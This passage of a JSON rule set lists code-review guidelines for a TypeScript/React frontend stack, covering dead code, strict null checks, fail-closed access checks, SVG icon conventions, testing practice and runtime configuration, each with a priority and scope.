code.","apiRule":"When functionality is moved or extracted to a new home, remove the now-unused originals in the same change rather than leaving orphaned dead code. The icons now live in the sprite, but the old components remain. Readers can't tell which version is authoritative, and the stale copies will drift out of sync and invite accidental reuse. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If you must keep the old code temporarily (e.g. a phased rollout), make that explicit with a deprecation comment and a tracked follow-up, not silent leftovers.","whyItMatters":"The icons now live in the sprite, but the old components remain. Readers can't tell which version is authoritative, and the stale copies will drift out of sync and invite accidental reuse.","priority":"p1","scope":"universal"},{"title":"Validate code under strict null checks","rule":"Enable strict null checking so possibly-undefined access is caught at compile time, not in production.","apiRule":"Enable strict null checking so possibly-undefined access is caught at compile time, not in production. With strict null checks off, the compiler does not flag access on a possibly-undefined property. The code compiles cleanly and then throws a TypeError in production. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If a project cannot flip the global flag yet, at least type-check changed code under strict null checks before merging to catch new null-safety issues.","whyItMatters":"With strict null checks off, the compiler does not flag access on a possibly-undefined property. The code compiles cleanly and then throws a TypeError in production.","priority":"p1","scope":"universal"},{"title":"Access checks must fail closed","rule":"Grant access only on an explicit positive match so missing or unexpected values deny access.","apiRule":"Grant access only on an explicit positive match so missing or unexpected values deny access. Access is derived from a negative comparison. If the field is missing, null, or returns an unexpected string, `value !== 'DENY'` evaluates to true and access is granted by accident — the check fails open. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Apply the same fail-closed default to upstream errors and non-OK responses: treat them as 'no access' rather than letting them pass through.","whyItMatters":"Access is derived from a negative comparison. If the field is missing, null, or returns an unexpected string, `value !== 'DENY'` evaluates to true and access is granted by accident — the check fails open.","priority":"p0","scope":"universal"},{"title":"Build new routes on the current router, not the legacy one","rule":"Add new pages to the actively-maintained router (App Router), not the deprecated Pages Router.","apiRule":"Add new pages to the actively-maintained router (App Router), not the deprecated Pages Router. A brand-new page is added to the legacy Pages Router. That router gets no new framework features and is on a path to deprecation, so new code there accrues migration debt from day one. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Existing legacy-router pages can stay until migrated, but stop adding new ones there. The same principle applies to any deprecated-but-still-supported framework API. Exceptions: API routes or other features that the current router does not yet support may legitimately remain on the legacy router until equivalent support exists.","whyItMatters":"A brand-new page is added to the legacy Pages Router. That router gets no new framework features and is on a path to deprecation, so new code there accrues migration debt from day one.","priority":"p1","scope":"stack-specific"},{"title":"Keep reusable hooks out of page/view folders","rule":"Place custom hooks in a shared hooks directory; reserve view folders for components and their styles.","apiRule":"Place custom hooks in a shared hooks directory; reserve view folders for components and their styles. The hook lives inside the view folder, mixing reusable logic with page-specific component code. Any other view that needs the same data-fetching logic must reach into this view's internals to reuse it. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. View/page folders are for non-reusable, page-specific UI. Hooks, utilities, and services that could be shared belong in their dedicated top-level directories.","whyItMatters":"The hook lives inside the view folder, mixing reusable logic with page-specific component code. Any other view that needs the same data-fetching logic must reach into this view's internals to reuse it.","priority":"p1","scope":"stack-specific"},{"title":"Remove a workaround once its root cause is gone","rule":"When the underlying problem that motivated a workaround is fixed, revert the workaround to the canonical form instead of leaving stale, duplicated config behind.","apiRule":"When the underlying problem that motivated a workaround is fixed, revert the workaround to the canonical form instead of leaving stale, duplicated config behind. The custom CMD only existed to dodge pnpm v11 behavior. Once pnpm was downgraded the special case is dead weight: it duplicates what the canonical start script does and diverges from how every other service starts, so the next maintainer has to reverse-engineer why it's different. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. A quick way to catch these: after fixing a root cause, grep the diff/PR for any temporary code or comments that referenced the old problem. Exceptions: Keep the workaround only if it independently improves things (clearer, faster, safer) even after the root cause is gone, and document why it now stays.","whyItMatters":"The custom CMD only existed to dodge pnpm v11 behavior. Once pnpm was downgraded the special case is dead weight: it duplicates what the canonical start script does and diverges from how every other service starts, so the next maintainer has to reverse-engineer why it's different.","priority":"p2","scope":"universal"},{"title":"Isolate major build-tooling upgrades into their own dedicated PRs","rule":"Don't bump major versions of package managers, bundlers, or runtimes inside an unrelated feature PR; do tooling migrations fully and in isolation.","apiRule":"Don't bump major versions of package managers, bundlers, or runtimes inside an unrelated feature PR; do tooling migrations fully and in isolation. A risky, brand-new major upgrade of the package manager is hidden inside an unrelated feature PR and only partially applied. The new major's startup behavior and config changes become an invisible variable that can break deploys, and reviewers can't reason about the feature and the migration at once. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Especially true for tools whose checks run on every CI job or container start, where a regression surfaces only at deploy time. Exceptions: Patch or minor bumps of tooling that don't change behavior are fine inline. Security-critical upgrades may need to ship urgently regardless of PR boundaries.","whyItMatters":"A risky, brand-new major upgrade of the package manager is hidden inside an unrelated feature PR and only partially applied. The new major's startup behavior and config changes become an invisible variable that can break deploys, and reviewers can't reason about the feature and the migration at once.","priority":"p1","scope":"universal"},{"title":"Be deliberate about whitespace between inline JSX/HTML elements","rule":"Whitespace and text nodes between inline elements are rendered and can shift layout; preserve intentional spacing (e.g. {' '} in JSX) and avoid introducing stray spaces.","apiRule":"Whitespace and text nodes between inline elements are rendered and can shift layout; preserve intentional spacing (e.g. {' '} in JSX) and avoid introducing stray spaces. JSX collapses a newline-only gap between elements to nothing, so the visible space that used to separate the icon and label disappears. A reformat silently changed the rendered layout. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Prefer controlling spacing with CSS (gap, margin) where possible; reserve {' '} for genuine inline text-flow spacing.","whyItMatters":"JSX collapses a newline-only gap between elements to nothing, so the visible space that used to separate the icon and label disappears. A reformat silently changed the rendered layout.","priority":"p2","scope":"universal"},{"title":"Use native SVG/HTML attribute syntax in raw asset files, not JSX names","rule":"Raw .svg/.html files must use real SVG/HTML attribute names (kebab-case, e.g. stroke-width, stroke-linecap), not JSX camelCase that only the React compiler understands.","apiRule":"Raw .svg/.html files must use real SVG/HTML attribute names (kebab-case, e.g. stroke-width, stroke-linecap), not JSX camelCase that only the React compiler understands. strokeWidth / strokeLinecap are JSX prop names that React translates to real SVG attributes at compile time. In a plain .svg file there is no such translation, so these attributes are simply ignored and the icon renders wrong. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. These mistakes recur when copy-pasting JSX into assets; a small custom lint/CI check for known JSX-only attribute names (strokeWidth, className, htmlFor, etc.) in raw .svg/.html catches them early.","whyItMatters":"strokeWidth / strokeLinecap are JSX prop names that React translates to real SVG attributes at compile time. In a plain .svg file there is no such translation, so these attributes are simply ignored and the icon renders wrong.","priority":"p0","scope":"universal"},{"title":"Keep diffs focused — don't reorder imports or lines without reason","rule":"Avoid cosmetic reordering (e.g. moving imports) that is unrelated to the change; it inflates the diff and hides the substantive edits from reviewers.","apiRule":"Avoid cosmetic reordering (e.g. moving imports) that is unrelated to the change; it inflates the diff and hides the substantive edits from reviewers. Reordering all the imports turns a one-line addition into a multi-line diff. A reviewer now has to read every moved line to confirm nothing meaningful changed, wasting attention. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. If an import-sorting tool or linter mandates an order, let it run as its own dedicated commit/PR rather than mixing the churn into feature work.","whyItMatters":"Reordering all the imports turns a one-line addition into a multi-line diff. A reviewer now has to read every moved line to confirm nothing meaningful changed, wasting attention.","priority":"p2","scope":"universal"},{"title":"Hoist shared SVG attributes onto the common parent","rule":"When child SVG elements all carry the same presentational attributes (stroke, fill, etc.), set them once on the parent and let inheritance apply them, instead of repeating per child.","apiRule":"When child SVG elements all carry the same presentational attributes (stroke, fill, etc.), set them once on the parent and let inheritance apply them, instead of repeating per child. The same four stroke attributes are duplicated on every path. Changing the stroke width or join style means editing every child, and the repetition obscures the shape data that actually differs. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Most presentation attributes (stroke, fill, stroke-width, stroke-linecap/linejoin) inherit; a child can still override locally when it genuinely differs.","whyItMatters":"The same four stroke attributes are duplicated on every path. Changing the stroke width or join style means editing every child, and the repetition obscures the shape data that actually differs.","priority":"p2","scope":"universal"},{"title":"Use currentColor for reusable icon fills/strokes","rule":"Define reusable SVG icons with fill/stroke=\"currentColor\" so color is inherited from CSS, instead of baking in a hardcoded hex value.","apiRule":"Define reusable SVG icons with fill/stroke=\"currentColor\" so color is inherited from CSS, instead of baking in a hardcoded hex value. The stroke color is hardcoded into the asset, so the same icon can never adapt to a different context (hover, dark mode, a second brand color) without editing the SVG or maintaining a duplicate. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. If you keep hardcoded colors temporarily to avoid touching styling in the same PR, treat that as a known follow-up rather than the end state.","whyItMatters":"The stroke color is hardcoded into the asset, so the same icon can never adapt to a different context (hover, dark mode, a second brand color) without editing the SVG or maintaining a duplicate.","priority":"p2","scope":"universal"},{"title":"Avoid needless wrapper helpers around a single inline element","rule":"Don't create a factory/helper to render one trivial element; inlining it removes indirection and avoids fighting the type system for no real DRY gain.","apiRule":"Don't create a factory/helper to render one trivial element; inlining it removes indirection and avoids fighting the type system for no real DRY gain. The helper wraps a two-line element behind a function call and a typed props signature. It adds an indirection layer (and, here, type friction) while saving almost no code, making each call site harder to read at a glance. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Reach for an abstraction once the inlined element carries real, repeated complexity (shared behaviour, many props, logic) — not merely because it appears more than once. Exceptions: Balance against keep-ui-components-small: don't create a single-element wrapper just to shrink line count; split by meaningful unit instead. Balance against prefer-components-over-render-helper-functions: just inline the JSX when the helper renders one trivial element with no real logic.","whyItMatters":"The helper wraps a two-line element behind a function call and a typed props signature. It adds an indirection layer (and, here, type friction) while saving almost no code, making each call site harder to read at a glance.","priority":"p1","scope":"universal"},{"title":"Use string literals for static JSX attribute values, numbers only when computing","rule":"Write static markup attribute values (e.g. SVG width/height) as string literals; only use a numeric JS expression when the value is actually derived from a computation.","apiRule":"Write static markup attribute values (e.g. SVG width/height) as string literals; only use a numeric JS expression when the value is actually derived from a computation. The numeric expressions {58} imply the value is computed or dynamic, but it is just a constant. The braces add noise and break visual consistency with the other plain string attributes like viewBox. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The numeric expressions {58} imply the value is computed or dynamic, but it is just a constant. The braces add noise and break visual consistency with the other plain string attributes like viewBox.","priority":"p2","scope":"universal"},{"title":"Size SVG icons with width/height attributes matching the viewBox","rule":"Use intrinsic width/height attributes for icon dimensions (verifiable against the viewBox) rather than mapping sizes onto a CSS/utility spacing scale.","apiRule":"Use intrinsic width/height attributes for icon dimensions (verifiable against the viewBox) rather than mapping sizes onto a CSS/utility spacing scale. The rendered size comes from a utility spacing scale (h-8/w-8) that has no obvious relationship to the icon's coordinate system. You cannot tell whether the icon is being scaled or distorted without resolving what the spacing token means in pixels and comparing it to the viewBox. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Symbols inside a shared sprite should NOT define width/height themselves; the consumer sets the size at the <svg>/<use> usage site so the same symbol can be reused at different sizes. Exceptions: If a design system deliberately standardizes all icons to a single token size and never needs viewBox-accurate scaling, a utility class may be acceptable — but be explicit about that decision.","whyItMatters":"The rendered size comes from a utility spacing scale (h-8/w-8) that has no obvious relationship to the icon's coordinate system. You cannot tell whether the icon is being scaled or distorted without resolving what the spacing token means in pixels and comparing it to the viewBox.","priority":"p2","scope":"universal"},{"title":"Put ARIA/presentation role on the SVG root, not on inner elements","rule":"Apply role=\"presentation\"/aria attributes to the <svg> element itself, not to implementation-detail children like <use>, so screen readers treat the whole graphic consistently.","apiRule":"Apply role=\"presentation\"/aria attributes to the <svg> element itself, not to implementation-detail children like <use>, so screen readers treat the whole graphic consistently. The role is placed on <use>, which is just an implementation detail of how the icon is referenced. The <svg> itself still exposes a generic graphics role to assistive technology, so the presentation hint does not apply to the element the user's tooling actually sees. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When an icon is meaningful, instead give the <svg> a role=\"img\" and an accessible name (aria-label or <title>) on the root, again not on inner nodes.","whyItMatters":"The role is placed on <use>, which is just an implementation detail of how the icon is referenced. The <svg> itself still exposes a generic graphics role to assistive technology, so the presentation hint does not apply to the element the user's tooling actually sees.","priority":"p1","scope":"universal"},{"title":"Verify layout integrity when removing or changing CSS","rule":"Removing CSS rules can silently reintroduce overflow or layout regressions; confirm affected components still render correctly across breakpoints before merging.","apiRule":"Removing CSS rules can silently reintroduce overflow or layout regressions; confirm affected components still render correctly across breakpoints before merging. Deleting rules like min-width: 0, overflow, or text-overflow from a flex/grid item without checking the rendered result lets long content overflow its container, breaking the layout — a regression that is invisible in the diff but obvious on screen. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When reviewing or authoring CSS deletions, do a quick visual check (or screenshot diff) at mobile and desktop widths, paying special attention to flex/grid children and any element that can receive long or dynamic text.","whyItMatters":"Deleting rules like min-width: 0, overflow, or text-overflow from a flex/grid item without checking the rendered result lets long content overflow its container, breaking the layout — a regression that is invisible in the diff but obvious on screen.","priority":"p1","scope":"universal"},{"title":"Test observable behaviour with paired enabled/disabled assertions, not CSS properties","rule":"Assert real outcomes (element visible in viewport after scroll) instead of CSS like position:sticky, and pair enabled/disabled cases to guard against false positives.","apiRule":"Assert real outcomes (element visible in viewport after scroll) instead of CSS like position:sticky, and pair enabled/disabled cases to guard against false positives. The test inspects the CSS `position: sticky` rather than the behaviour it is supposed to produce. It passes even if stickiness is broken by an overflow/parent issue, and there is no disabled-case test, so a regression that always renders the header would still go green. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. The enabled/disabled pairing principle generalizes to any toggleable feature, not just sticky positioning. Exceptions: Asserting CSS directly is acceptable for pure unit tests of a style helper where no real layout/viewport is available to observe behaviour.","whyItMatters":"The test inspects the CSS `position: sticky` rather than the behaviour it is supposed to produce. It passes even if stickiness is broken by an overflow/parent issue, and there is no disabled-case test, so a regression that always renders the header would still go green.","priority":"p1","scope":"universal"},{"title":"Control the test environment directly instead of building artificial scaffolding","rule":"Set the controlling variable (e.g. viewport size) directly in tests rather than wrapping subjects in artificial containers to provoke behaviour.","apiRule":"Set the controlling variable (e.g. viewport size) directly in tests rather than wrapping subjects in artificial containers to provoke behaviour. An artificial scroll container is introduced just to make scrolling observable. The wrapper does not match how the component renders in production, adds indirection, and behaves differently from the actual browser viewport, making the test brittle. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A wrapper is acceptable when the component is genuinely always rendered inside a scrollable parent in production and that parent is part of what you're testing.","whyItMatters":"An artificial scroll container is introduced just to make scrolling observable. The wrapper does not match how the component renders in production, adds indirection, and behaves differently from the actual browser viewport, making the test brittle.","priority":"p2","scope":"universal"},{"title":"Prefer built-in library APIs over hand-rolled workarounds, and verify a feature is truly missing first","rule":"Confirm a library lacks a feature (check the real API name) before writing a custom workaround; prefer built-in matchers/utilities over bespoke logic.","apiRule":"Confirm a library lacks a feature (check the real API name) before writing a custom workaround; prefer built-in matchers/utilities over bespoke logic. A custom matcher is added based on an unverified assumption that the framework lacks one — but the real matcher exists under a slightly different name. The bespoke implementation is extra code to maintain, easy to get subtly wrong, and duplicates what the library already does. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Hand-rolling is justified only after confirming the library truly lacks the capability; even then, build on the same underlying primitive the library would use and document why.","whyItMatters":"A custom matcher is added based on an unverified assumption that the framework lacks one — but the real matcher exists under a slightly different name. The bespoke implementation is extra code to maintain, easy to get subtly wrong, and duplicates what the library already does.","priority":"p1","scope":"universal"},{"title":"Reflect every new component prop in its stories and documentation","rule":"When adding a prop/attribute to a component, also expose it in the component's Storybook stories or equivalent docs so it stays discoverable and testable.","apiRule":"When adding a prop/attribute to a component, also expose it in the component's Storybook stories or equivalent docs so it stays discoverable and testable. A new `loading` prop is added to the component but never appears in any story. Consumers reading the docs cannot discover the prop, and there is no example exercising the new behaviour, so it silently drifts out of documentation. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Internal/private props not meant for consumers, or props that only make sense in combination already covered by an existing story, need not get a standalone story.","whyItMatters":"A new `loading` prop is added to the component but never appears in any story. Consumers reading the docs cannot discover the prop, and there is no example exercising the new behaviour, so it silently drifts out of documentation.","priority":"p1","scope":"universal"},{"title":"Write responsive CSS mobile-first using min-width over max-width queries","rule":"Base styles target the smallest viewport; layer larger-screen overrides with min-width queries instead of overriding desktop defaults with max-width.","apiRule":"Base styles target the smallest viewport; layer larger-screen overrides with min-width queries instead of overriding desktop defaults with max-width. Desktop-first: the base rule assumes a wide screen and a max-width query strips it back down for small screens. Overrides accumulate as the layout grows and the smallest, most constrained device pays the cost of undoing desktop assumptions. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Applies equally to @media and @container queries. Exceptions: Acceptable to use max-width for a narrowly-scoped one-off tweak that only affects a single small breakpoint, when refactoring to mobile-first would touch unrelated rules.","whyItMatters":"Desktop-first: the base rule assumes a wide screen and a max-width query strips it back down for small screens. Overrides accumulate as the layout grows and the smallest, most constrained device pays the cost of undoing desktop assumptions.","priority":"p2","scope":"universal"},{"title":"Use the border-radius shorthand instead of per-corner longhand properties","rule":"Prefer the single border-radius shorthand over separate per-corner radius declarations when rounding specific edges.","apiRule":"Prefer the single border-radius shorthand over separate per-corner radius declarations when rounding specific edges. Four longhand declarations to round only the top corners. It is verbose and the reader has to assemble the four lines mentally to understand the shape. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use longhand only when a single corner is dynamically overridden in isolation (e.g. by a state class) and the shorthand would force you to repeat the other three values.","whyItMatters":"Four longhand declarations to round only the top corners. It is verbose and the reader has to assemble the four lines mentally to understand the shape.","priority":"p2","scope":"universal"},{"title":"Verify the framework doesn't already handle it before adding a workaround","rule":"Confirm a suspected framework/library limitation actually exists before writing compensating code, and comment the verified reason — frameworks often already handle the case.","apiRule":"Confirm a suspected framework/library limitation actually exists before writing compensating code, and comment the verified reason — frameworks often already handle the case. The workaround is justified by an unverified assumption. Dynamic-import URLs are already emitted relative by the bundler, so part of this logic may be solving a problem that doesn't exist, with a misleading comment to match. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The workaround is justified by an unverified assumption. Dynamic-import URLs are already emitted relative by the bundler, so part of this logic may be solving a problem that doesn't exist, with a misleading comment to match.","priority":"p1","scope":"universal"},{"title":"Put the lazy-load boundary at the consuming call site, not inside a shared component","rule":"Define React.lazy/dynamic-import boundaries where a component is actually consumed, not inside a component that is also imported directly elsewhere.","apiRule":"Define React.lazy/dynamic-import boundaries where a component is actually consumed, not inside a component that is also imported directly elsewhere. Because SharedDialog is imported directly in multiple places, baking the lazy boundary inside it forces a chunk split for every consumer, even those that always need the content immediately. The split no longer reflects where laziness is actually wanted. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If many call sites need the same lazy boundary, you can still centralize it in a thin dedicated wrapper module that exists only for that purpose, rather than overloading the component itself.","whyItMatters":"Because SharedDialog is imported directly in multiple places, baking the lazy boundary inside it forces a chunk split for every consumer, even those that always need the content immediately. The split no longer reflects where laziness is actually wanted.","priority":"p1","scope":"universal"},{"title":"Add tests for every new code path a change introduces","rule":"When a change broadens behavior to handle new cases (new file types, branches, inputs), add tests that exercise those new cases before merging.","apiRule":"When a change broadens behavior to handle new cases (new file types, branches, inputs), add tests that exercise those new cases before merging. The new JS/CSS rewriting path ships with zero coverage. A future refactor of the glob or regex could silently stop rewriting those files and no test would catch it. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The new JS/CSS rewriting path ships with zero coverage. A future refactor of the glob or regex could silently stop rewriting those files and no test would catch it.","priority":"p1","scope":"universal"},{"title":"Stub globals with stubGlobal instead of manually assigning and tearing them down","rule":"Set global values in tests via the runner's stubGlobal helper, which auto-restores, rather than assigning to the global object in beforeEach and writing matching cleanup.","apiRule":"Set global values in tests via the runner's stubGlobal helper, which auto-restores, rather than assigning to the global object in beforeEach and writing matching cleanup. Manually mutating a global requires a hand-written teardown to undo it. Forgetting the cleanup leaks state into later tests and causes order-dependent flakiness. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Ensure unstubAllGlobals (or restoreMocks/unstubGlobals: true) is configured so stubs are reset between tests.","whyItMatters":"Manually mutating a global requires a hand-written teardown to undo it. Forgetting the cleanup leaks state into later tests and causes order-dependent flakiness.","priority":"p1","scope":"universal"},{"title":"Use window.location.assign() for programmatic navigation so it can be mocked in tests","rule":"Navigate via window.location.assign(url) rather than assigning window.location.href, because the method can be spied/mocked to prevent real navigation in tests.","apiRule":"Navigate via window.location.assign(url) rather than assigning window.location.href, because the method can be spied/mocked to prevent real navigation in tests. Assigning to `location.href` is a property write that is awkward to intercept; in browser-mode or jsdom tests it can trigger a real navigation that breaks the test runner. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Assigning to `location.href` is a property write that is awkward to intercept; in browser-mode or jsdom tests it can trigger a real navigation that breaks the test runner.","priority":"p1","scope":"universal"},{"title":"Gate diagnostic console logging to development only","rule":"Wrap debug/error console statements behind an environment check so they don't ship as noise to production users.","apiRule":"Wrap debug/error console statements behind an environment check so they don't ship as noise to production users. This logs to the browser console for every real user in production, leaking internals and adding noise. Production diagnostics should go to a real error reporter, not raw console output. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use the env flag your tooling provides (import.meta.env.DEV for Vite, process.env.NODE_ENV !== 'production' for Node/Webpack).","whyItMatters":"This logs to the browser console for every real user in production, leaking internals and adding noise. Production diagnostics should go to a real error reporter, not raw console output.","priority":"p2","scope":"universal"},{"title":"Pull real exports through importOriginal instead of hardcoding copies in a partial mock","rule":"In a partial module mock, get the exports you don't want to override from importOriginal so they stay in sync with the source instead of being duplicated.","apiRule":"In a partial module mock, get the exports you don't want to override from importOriginal so they stay in sync with the source instead of being duplicated. The hardcoded `BASE_URL_PLACEHOLDER` copy silently drifts out of sync if the real constant ever changes, and the test keeps passing against a stale value. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The hardcoded `BASE_URL_PLACEHOLDER` copy silently drifts out of sync if the real constant ever changes, and the test keeps passing against a stale value.","priority":"p1","scope":"universal"},{"title":"Add object keys conditionally with undefined or a single conditional spread, not `: {}`","rule":"To include a key only sometimes, use a ternary returning undefined or a single conditional spread, rather than spreading an empty object in the else branch.","apiRule":"To include a key only sometimes, use a ternary returning undefined or a single conditional spread, rather than spreading an empty object in the else branch. Spreading `{}` in the false branch is ceremony: you build and spread an empty object just to add nothing. The reader has to parse the empty-object spread to realize it is a no-op. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Be aware that an explicit `undefined` value is NOT identical to an absent key for `Object.keys`, `in`, or `hasOwnProperty` checks. When that distinction matters, prefer the conditional-spread form. Exceptions: Balance against prefer-explicit-null-over-conditional-spreads: omit a key (undefined/conditional spread) when consumers and serialization treat 'absent' as correct.","whyItMatters":"Spreading `{}` in the false branch is ceremony: you build and spread an empty object just to add nothing. The reader has to parse the empty-object spread to realize it is a no-op.","priority":"p2","scope":"universal"},{"title":"Validate dynamic values with assert, not type casts","rule":"Narrow untyped/dynamic input (env vars, JSON, params) with runtime assertions instead of `as` casts, then drop the now-unneeded optional chaining.","apiRule":"Narrow untyped/dynamic input (env vars, JSON, params) with runtime assertions instead of `as` casts, then drop the now-unneeded optional chaining. The `as` cast just tells the compiler to trust a value it cannot verify; an unexpected SOURCE slips through and you fall back to undefined silently via optional chaining. The bug surfaces far from its cause. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Safe to throw in development/startup paths. After a successful assert the value is a known type, so defensive `?.` and `?? fallback` on that value become redundant.","whyItMatters":"The `as` cast just tells the compiler to trust a value it cannot verify; an unexpected SOURCE slips through and you fall back to undefined silently via optional chaining. The bug surfaces far from its cause.","priority":"p1","scope":"universal"},{"title":"Prefer a bare return over an explicit return undefined","rule":"In a function that may yield undefined, use a bare `return;` for early exits instead of `return undefined;`.","apiRule":"In a function that may yield undefined, use a bare `return;` for early exits instead of `return undefined;`. `return undefined;` adds a token without adding meaning — the function already declares it can return undefined, so the explicit value is just noise on the early-exit path. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Reserve an explicit `return undefined;` only where it genuinely aids clarity (e.g. distinguishing from `return null;` in the same function).","whyItMatters":"`return undefined;` adds a token without adding meaning — the function already declares it can return undefined, so the explicit value is just noise on the early-exit path.","priority":"p2","scope":"universal"},{"title":"Keep entry-point files lean; extract helpers into modules","rule":"Move non-trivial helpers out of busy bootstrap files (server.ts, index.ts) into focused utility modules where they can also reach shared config directly.","apiRule":"Move non-trivial helpers out of busy bootstrap files (server.ts, index.ts) into focused utility modules where they can also reach shared config directly. The bootstrap file already does a lot; inlining a branchy resolver here grows it further and forces shared config (isLocal) to be threaded in as an argument. The helper has no natural home in the entry point. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. A function that needs config the surrounding module already owns is a signal it belongs in that module, not in the entry point.","whyItMatters":"The bootstrap file already does a lot; inlining a branchy resolver here grows it further and forces shared config (isLocal) to be threaded in as an argument. The helper has no natural home in the entry point.","priority":"p1","scope":"universal"},{"title":"Name variables for what they actually hold","rule":"Pick identifiers that match the real meaning of the value; avoid misnomers like calling a host URL a 'repository'.","apiRule":"Pick identifiers that match the real meaning of the value; avoid misnomers like calling a host URL a 'repository'. 'componentsRepositoryUrl' implies a code repository, but the value is just the host URL/origin used for preconnect. The name actively misleads the next reader about what the value is. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. When in doubt, name by the concept (URL, origin, id, count) rather than by an adjacent system you happened to read it from.","whyItMatters":"'componentsRepositoryUrl' implies a code repository, but the value is just the host URL/origin used for preconnect. The name actively misleads the next reader about what the value is.","priority":"p2","scope":"universal"},{"title":"Separate internal codes from localized labels","rule":"Do not drive business logic with translated display strings. Keep stable internal codes for comparisons and map them to localized labels at the UI boundary.","apiRule":"Do not drive business logic with translated display strings. Keep stable internal codes for comparisons and map them to localized labels at the UI boundary. The same strings are serving both as domain identifiers and translated UI labels. That makes the code harder to understand outside one language context and couples logic changes to copy changes. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This is especially important when the same domain value appears in APIs, analytics, persistence, and UI copy across multiple languages. Exceptions: Small one-off display-only mappings can stay inline, but the displayed label still should not become the source of truth for domain logic.","whyItMatters":"The same strings are serving both as domain identifiers and translated UI labels. That makes the code harder to understand outside one language context and couples logic changes to copy changes.","priority":"p1","scope":"universal"},{"title":"Optimize raster images before committing","rule":"Large PNG, JPEG, and similar raster assets should be compressed, converted, or resized before they land in the repo. Non-critical images should also avoid eager loading by default.","apiRule":"Large PNG, JPEG, and similar raster assets should be compressed, converted, or resized before they land in the repo. Non-critical images should also avoid eager loading by default. This commits a potentially oversized raster image with no optimization strategy and no loading hint. Heavy assets slow page loads, waste bandwidth, and often go unnoticed because the file already \"works\" locally. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Review both file format and display behavior. If the image is photographic or decorative, WebP/JPEG is often better than a raw PNG. Exceptions: Keep PNG or eager loading only when the content genuinely requires lossless transparency or when the image is critical to first paint.","whyItMatters":"This commits a potentially oversized raster image with no optimization strategy and no loading hint. Heavy assets slow page loads, waste bandwidth, and often go unnoticed because the file already \"works\" locally.","priority":"p1","scope":"stack-specific"},{"title":"Pause background refresh while the user is editing","rule":"Do not let polling or background refresh overwrite in-progress modal or form state. Suspend refresh or isolate draft state until editing is complete.","apiRule":"Do not let polling or background refresh overwrite in-progress modal or form state. Suspend refresh or isolate draft state until editing is complete. Background refresh keeps changing the source props while the user is editing, so the draft can reset unexpectedly. This creates data loss, confusing UI jumps, and modal behavior that feels broken even though the polling itself is technically working. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If refresh must continue, keep server data and user draft in separate state channels and merge deliberately rather than resetting from props. Exceptions: Purely read-only surfaces can continue polling normally. The rule matters when refresh can overwrite in-progress user input or local editing state.","whyItMatters":"Background refresh keeps changing the source props while the user is editing, so the draft can reset unexpectedly. This creates data loss, confusing UI jumps, and modal behavior that feels broken even though the polling itself is technically working.","priority":"p1","scope":"stack-specific"},{"title":"Do not cast away nullable identifiers","rule":"When an identifier is nullable in the type system, narrow or reject it explicitly before use instead of hiding the risk with a cast.","apiRule":"When an identifier is nullable in the type system, narrow or reject it explicitly before use instead of hiding the risk with a cast. The cast suppresses a real possibility from the type system instead of handling it. If a nullable identifier leaks through, the code produces invalid selector items and the bug becomes harder to trace because the compiler was explicitly silenced. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Prefer narrowing at the boundary where nullable data first enters the flow. If null is a legitimate domain case, model it explicitly instead of coercing it away. Exceptions: A cast is only acceptable when an earlier runtime invariant already guarantees non-null and that invariant is immediately visible in the same code path.","whyItMatters":"The cast suppresses a real possibility from the type system instead of handling it. If a nullable identifier leaks through, the code produces invalid selector items and the bug becomes harder to trace because the compiler was explicitly silenced.","priority":"p1","scope":"stack-specific"},{"title":"Use runtime server config for deployment-specific values","rule":"Do not rely on build-time public environment variables for values that differ by deployed environment. Resolve deploy-specific origins and flags at runtime on 